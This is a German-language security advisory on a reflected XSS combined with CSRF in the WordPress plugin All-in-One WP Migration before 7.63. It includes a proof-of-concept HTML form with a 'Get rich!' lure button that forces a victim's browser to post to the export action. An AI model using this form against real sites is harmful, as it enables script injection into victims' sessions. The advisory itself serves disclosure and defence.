
All-in-One WP Migration < 7.63 - Nicht authentifiziertes Reflected XSS + CSRF
Das Plugin verwendet für die Antwort der ai1wm_export-Aktion den falschen Content-Type und escapet sie nicht ordnungsgemäß. Dadurch kann ein Angreifer eine Anfrage erstellen, die – sobald sie von einem beliebigen Besucher übermittelt wird – beliebiges HTML oder JavaScript in die Antwort injiziert, das in der Sitzung des Opfers ausgeführt wird.
Um den Fehler zu reproduzieren, können wir den gesamten Website-Inhalt über das Plugin exportieren und einen ungültigen Namen in den Namen der Ausgabedatei einfügen.
Bei Bestätigung der Schwachstelle lässt sich der Angriff mit einem CSRF kombinieren, wodurch der Browser des Opfers gezwungen wird, eine Anfrage mit der Payload zu senden.
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
<!--
Note: The secret key must be obtained through other means.
It is stored in the site option `ai1wm_secret_key`, but is
static for the lifetime of the site.
-->
<input type="hidden" name="secret_key" value="[secret_key]">
<input type="hidden" name="ai1wm_manual_export" value="1">
<input type="hidden" name="archive" value="">
<input type="submit" value="Get rich!">
</form>
All-in-One WP Migration < 7.63
Typ: Cross-Site Scripting
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Geovanni Campos (GeoZIN), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Vinicius Pereira (Vini), , Hudson Nowak (Nowak) und Guilherme Acerbi (Ghost).